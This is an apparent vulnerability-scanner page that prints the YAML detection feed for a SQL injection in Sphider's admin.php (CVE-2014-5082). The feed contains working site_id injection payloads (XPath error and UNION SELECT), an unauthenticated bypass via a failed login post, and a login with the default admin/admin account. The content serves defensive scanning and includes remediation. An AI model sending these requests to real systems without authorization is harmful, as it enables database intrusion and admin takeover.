Sphider — 1 vulnerability check

noctis ships 1 vulnerability check for Sphider, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Sphider admin.php 'site_id' SQL Injection

CVECVE-2014-5082
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/sphider/CVE-2014-5082.yaml

Tests the Sphider search engine administration page (admin/admin.php) for the SQL injection through the site_id parameter, which is copied unquoted into the site query and whose database errors are printed in the page. In the web root and in the /sphider, /search and /webspider directories, once admin/admin.php shows the Sphider login or administration page, the feed first sends the request without logging in, as a login form post with random credentials: Sphider 1.3.5 and earlier keep running the page after a failed login. When that finds nothing, it logs in on a session, with the credentials given in the scan request or, when they are absent or refused, with Sphider's shipped default administrator account, and sends the requests again. One injected site_id makes the database raise an XPath error that carries the product of two random numbers; a second one, for databases without the EXTRACTVALUE function, uses a UNION SELECT that puts the same product, framed by a NOCTIS marker, in the displayed site URL. The correct product in the page confirms that the database ran the injected query; it is not part of the request, so a page that only echoes the parameter is not reported. The probe reads no table row and changes nothing, but it may log in with the default administrator account.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. Parses / computes the next value with a Rhai script
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request GET {{dir}}/admin/admin.php
  6. Parses / computes the next value with a Rhai script
  7. HTTP(S) request POST {{dir}}/admin/admin.php with a crafted body
  8. HTTP(S) request POST {{dir}}/admin/admin.php with a crafted body
  9. Parses / computes the next value with a Rhai script
  10. Parses / computes the next value with a Rhai script
  11. HTTP(S) request POST {{dir}}/admin/auth.php with a crafted body
  12. HTTP(S) request GET {{dir}}/admin/admin.php?f=2
  13. Parses / computes the next value with a Rhai script
  14. HTTP(S) request POST {{dir}}/admin/auth.php with a crafted body
  15. … and 5 more steps — see the feed source below

References:

Feed source — tests/vulnerabilities/sphider/CVE-2014-5082.yaml
# Sphider admin.php 'site_id' SQL injection — CVE-2014-5082
#
# Sphider (PHP search engine/spider, 1.3.6 is the last release and was never
# fixed) extracts every request variable in admin/admin.php
# (extract(getHttpVars())) and pastes site_id unquoted into SQL; f=20 runs
#   siteScreen($site_id):
#     SELECT site_id, url, title, short_desc, indexdate from <prefix>sites
#       where site_id=$site_id
#     echo mysql_error();
# and prints the row's url / title. admin.php starts with include "auth.php".
#
# Authentication (admin/auth.php, hardcoded $admin = "admin", $admin_pw = "admin"):
#   - up to 1.3.5 a POST carrying user and pass sends "Location: admin.php" but
#     does NOT exit, so whatever the credentials, admin.php goes on with the
#     other POST fields (getHttpVars() takes $_POST when it is not empty). That
#     is the request the source check sends: user=foo&pass=bar&f=20&site_id=...
#   - 1.3.6 added exit() after the redirect: that request comes back as an empty
#     302 and the source check can never match 1.3.6. The injection is still
#     there for a logged-in administrator.
#
# Detection (benign, read-only), per candidate install dir ("", /sphider,
# /search, /webspider):
#   1. GET <dir>/admin/admin.php must contain ">Sphider" (login page or admin
#      page); its session cookie (session_start() in auth.php) is kept. The
#      engine keeps only the last Set-Cookie, so when that is not a session
#      cookie (a front end's own cookie), a client-chosen PHPSESSID is used —
#      PHP accepts it unless session.use_strict_mode is on.
#   2. Unauthenticated (<= 1.3.5): POST admin.php with random user/pass,
#      f=20 and site_id = extractvalue(1,concat(0x7e,(SELECT <a>*<b>))): the
#      database fails with "XPATH syntax error: '~<a×b>'", which the page
#      prints. MySQL < 5.1 has no EXTRACTVALUE: then site_id = 0 UNION SELECT
#      1,CONCAT(0x4e4f43544953,<a>*<b>,0x454e44),3,4,NULL, printed as the
#      site URL ("NOCTIS<a×b>END").
#   3. Authenticated (1.3.6, or <= 1.3.5 when 2 found nothing): log in on that
#      session (POST admin/auth.php) with the scan request's credentials, then
#      — when those are absent or not accepted — with Sphider's shipped default
#      admin/admin, and send the same two site_id values as GET
#      admin.php?f=20&site_id=... with the session cookie.
#   The product of two random 6-digit numbers is computed by the database and
#   is not in the request, so a page that only reflects the parameter is not
#   reported. QoD 97. No row is read or changed; f=20 only displays a site.
#
# Improvements over the source NASL:
#   - The source check only works on <= 1.3.5 (redirect without exit). This
#     feed also covers 1.3.6, the release the CVE names, through an
#     administrator session (scan credentials, else the shipped default).
#   - Computed-product proof instead of a syntax error echoing the request
#     (QoD 97), with a UNION fallback for MySQL 5.0.
#
# CVEs: the source check lists CVE-2014-5082, CVE-2014-5192 (filter parameter
# of f=21) and CVE-2014-5193 (XSS through category). Only CVE-2014-5082
# (site_id / url) is probed, so only it is reported.
# CVSS: NVD v2 7.5 (no v3 score published).
#
# Ported from OpenVAS/Greenbone NVT 2014/gb_sphider_mult_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.804737, GPL-2.0-only).
# Sink code: Sphider 1.3.1–1.3.6 admin/auth.php, admin/admin.php,
# include/commonfuncs.php (github.com/ameer1234567890/sphider release history).
uid: b75b896a-12e5-4a25-ae36-0a9c67a2c1ac
name: "Sphider admin.php 'site_id' SQL Injection (CVE-2014-5082)"
description: |
  Tests the Sphider search engine administration page (admin/admin.php) for
  the SQL injection through the site_id parameter, which is copied unquoted
  into the site query and whose database errors are printed in the page. In
  the web root and in the /sphider, /search and /webspider directories, once
  admin/admin.php shows the Sphider login or administration page, the feed
  first sends the request without logging in, as a login form post with
  random credentials: Sphider 1.3.5 and earlier keep running the page after a
  failed login. When that finds nothing, it logs in on a session, with the
  credentials given in the scan request or, when they are absent or refused,
  with Sphider's shipped default administrator account, and sends the
  requests again. One injected site_id makes the database raise an XPath
  error that carries the product of two random numbers; a second one, for
  databases without the EXTRACTVALUE function, uses a UNION SELECT that puts
  the same product, framed by a NOCTIS marker, in the displayed site URL. The correct product in the page
  confirms that the database ran the injected query; it is not part of the
  request, so a page that only echoes the parameter is not reported. The
  probe reads no table row and changes nothing, but it may log in with the
  default administrator account.
cves: [CVE-2014-5082]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [sphider, php, mysql, sqli, error-based, union, auth-bypass, authenticated, default-credentials, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-5082"
  - "https://www.exploit-db.com/exploits/34189"
  - "http://packetstormsecurity.com/files/127720/Sphider-Search-Engine-Command-Execution-SQL-Injection.html"
  - "https://github.com/ameer1234567890/sphider/blob/master/admin/auth.php"
  # OpenVAS/Greenbone NASL 2014/gb_sphider_mult_sql_inj_vuln.nasl (GPL-2.0-only)

steps:
  # Random operands and a random throw-away login; the proofs are computed locally.
  - id: mint
    action: script
    code: '#{ a: rand_int(100000, 999999), b: rand_int(100000, 999999), u: "nx" + rand_hex(6), p: rand_hex(10) }'
    store_as: m

  - id: mint-product
    action: script
    code: '"" + (m.a * m.b)'
    store_as: prod

  - id: mint-marker
    action: script
    code: '"NOCTIS" + prod + "END"'
    store_as: marker

  # Login bodies: the scan request's credentials (empty when absent), and the
  # shipped default (skipped when it is the same account).
  - id: login-bodies
    action: script
    store_as: lb
    code: |
      fn enc(s) {
        let out = "";
        for c in s.chars() {
          let ch = `${c}`;
          if ereg("^[A-Za-z0-9._~-]$", ch) { out += ch; }
          else {
            let h = toupper(hexstr(ch));
            let i = 0;
            while i < h.len() { out += "%" + h.sub_string(i, 2); i += 2; }
          }
        }
        out
      }
      let op = "";
      let same = false;
      if cred_enabled && is_def_var("cred_username") {
        let pw = "";
        if is_def_var("cred_password") { pw = cred_password; }
        op = "user=" + enc(cred_username) + "&pass=" + enc(pw);
        same = cred_username == "admin" && pw == "admin";
      }
      #{ op: op, def: if same { "" } else { "user=admin&pass=admin" } }

  - id: init-proof
    action: set_var
    var_name: proof
    var_value: ""

  - id: init-via
    action: set_var
    var_name: via
    var_value: ""

  # ── Loop group: every step below runs once per candidate install dir ─────
  - id: init-home
    action: set_var
    var_name: home
    var_value: {status: 0, body: "", headers: {}}
    loop:
      over: ["", "/sphider", "/search", "/webspider"]
      var: dir

  - id: init-r1
    action: set_var
    var_name: r1
    var_value: {status: 0, body: ""}

  - id: init-r2
    action: set_var
    var_name: r2
    var_value: {status: 0, body: ""}

  - id: init-r3
    action: set_var
    var_name: r3
    var_value: {status: 0, body: ""}

  - id: init-r4
    action: set_var
    var_name: r4
    var_value: {status: 0, body: ""}

  - id: init-op-check
    action: set_var
    var_name: op_check
    var_value: {status: 0, body: ""}

  - id: init-op-ok
    action: set_var
    var_name: op_ok
    var_value: false

  - id: fetch-admin
    action: http_request
    method: GET
    path: "{{dir}}/admin/admin.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'proof == ""'
    store_as: home

  # Sphider gate + the session cookie that auth.php's session_start() set.
  - id: gate
    action: script
    store_as: g
    code: |
      let ok = proof == "" && type_of(home.body) == "string" && stridx(home.body, ">Sphider") >= 0;
      let c = "";
      if ok && "set-cookie" in home.headers {
        c = home.headers["set-cookie"];
        let i = c.index_of(";");
        if i > 0 { c = c.sub_string(0, i); }
        if !ereg("^[^=\\s]*(?i:sess)[^=\\s]*=[A-Za-z0-9,-]+$", c) { c = ""; }
      }
      // Only the last Set-Cookie is kept: when a front end's cookie came last,
      // use a client-chosen PHP session id (accepted unless use_strict_mode).
      if ok && c == "" { c = "PHPSESSID=" + rand_hex(13); }
      #{ ok: ok, cookie: c }

  # ── A. Without login (Sphider <= 1.3.5 keeps running after a failed login) ─
  - id: bypass-xpath
    action: http_request
    method: POST
    path: "{{dir}}/admin/admin.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'g.ok == true'
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "user={{m.u}}&pass={{m.p}}&f=20&site_id=extractvalue(1,concat(0x7e,(SELECT%20{{m.a}}*{{m.b}})))"
    store_as: r1

  - id: bypass-union
    action: http_request
    method: POST
    path: "{{dir}}/admin/admin.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'g.ok == true'
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "user={{m.u}}&pass={{m.p}}&f=20&site_id=0%20UNION%20SELECT%201,CONCAT(0x4e4f43544953,{{m.a}}*{{m.b}},0x454e44),3,4,NULL"
    store_as: r2

  # The error text may be HTML-escaped by a front end; accept the quote in any
  # common form, or none.
  - id: verdict-bypass
    action: script
    store_as: proof
    code: |
      let xp = "XPATH syntax error: (?:'|&#0?39;|&#x27;|&apos;)?~" + prod;
      if proof != "" { proof }
      else if g.ok == true && type_of(r1.body) == "string" && egrep(xp, r1.body) != "" { "XPATH syntax error: ~" + prod }
      else if g.ok == true && type_of(r2.body) == "string" && stridx(r2.body, marker) >= 0 { marker }
      else { "" }

  - id: via-bypass
    action: script
    store_as: via
    code: 'if via == "" && proof != "" { "without logging in (a login form post with random credentials)" } else { via }'

  # ── B. Administrator session: scan credentials, else the shipped default ──
  - id: login-op
    action: http_request
    method: POST
    path: "{{dir}}/admin/auth.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'g.ok == true && proof == "" && g.cookie != "" && lb.op != ""'
    headers:
      Content-Type: "application/x-www-form-urlencoded"
      Cookie: "{{g.cookie}}"
    body: "{{lb.op}}"
    store_as: op_login

  - id: check-op
    action: http_request
    method: GET
    path: "{{dir}}/admin/admin.php?f=2"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'g.ok == true && proof == "" && g.cookie != "" && lb.op != ""'
    headers:
      Cookie: "{{g.cookie}}"
    store_as: op_check

  - id: op-accepted
    action: script
    store_as: op_ok
    code: |
      lb.op != "" && type_of(op_check.body) == "string" && stridx(op_check.body, "Sphider administrator tools") >= 0 && stridx(op_check.body, "Sphider Admin Login") < 0

  - id: login-default
    action: http_request
    method: POST
    path: "{{dir}}/admin/auth.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'g.ok == true && proof == "" && g.cookie != "" && op_ok == false && lb.def != ""'
    headers:
      Content-Type: "application/x-www-form-urlencoded"
      Cookie: "{{g.cookie}}"
    body: "{{lb.def}}"
    store_as: def_login

  - id: auth-xpath
    action: http_request
    method: GET
    path: "{{dir}}/admin/admin.php?f=20&site_id=extractvalue(1,concat(0x7e,(SELECT%20{{m.a}}*{{m.b}})))"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'g.ok == true && proof == "" && g.cookie != ""'
    headers:
      Cookie: "{{g.cookie}}"
    store_as: r3

  - id: auth-union
    action: http_request
    method: GET
    path: "{{dir}}/admin/admin.php?f=20&site_id=0%20UNION%20SELECT%201,CONCAT(0x4e4f43544953,{{m.a}}*{{m.b}},0x454e44),3,4,NULL"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'g.ok == true && proof == "" && g.cookie != ""'
    headers:
      Cookie: "{{g.cookie}}"
    store_as: r4

  - id: verdict-auth
    action: script
    store_as: proof
    code: |
      let xp = "XPATH syntax error: (?:'|&#0?39;|&#x27;|&apos;)?~" + prod;
      if proof != "" { proof }
      else if g.ok == true && type_of(r3.body) == "string" && egrep(xp, r3.body) != "" { "XPATH syntax error: ~" + prod }
      else if g.ok == true && type_of(r4.body) == "string" && stridx(r4.body, marker) >= 0 { marker }
      else { "" }

  - id: via-auth
    action: script
    store_as: via
    code: |
      if via != "" || proof == "" { via }
      else if op_ok == true { "on a session logged in with the scan credentials" }
      else { "with the session cookie after a login attempt with Sphider's shipped default account" }

  - id: report
    action: match
    source: proof
    pattern: "^(?:XPATH syntax error: ~[0-9]+|NOCTIS[0-9]+END)$"
    on_match:
      finding:
        title: "Sphider admin.php 'site_id' SQL Injection (CVE-2014-5082)"
        description: "admin/admin.php copies the site_id parameter unquoted into its SQL query. A request with SQL appended to site_id made the database compute the product of two random numbers, which came back in the page. Any query the database user may run can be injected the same way."
        remediation: "Sphider is no longer maintained and no fixed release exists. Restrict access to the admin directory (for example by IP address or HTTP authentication in the web server), change the default administrator password in admin/auth.php, and cast site_id and the other numeric parameters of admin.php to integers (intval) before they reach a query, or move to a maintained fork that uses prepared statements."
        confidence_delta: 0.65
        qod: 97
        evidence: "{{dir}}/admin/admin.php with f=20 and an injected site_id computing {{m.a}}*{{m.b}}, sent {{via}}, returned the database-computed result: {{proof}}"
      stop: true

View these feeds on GitHub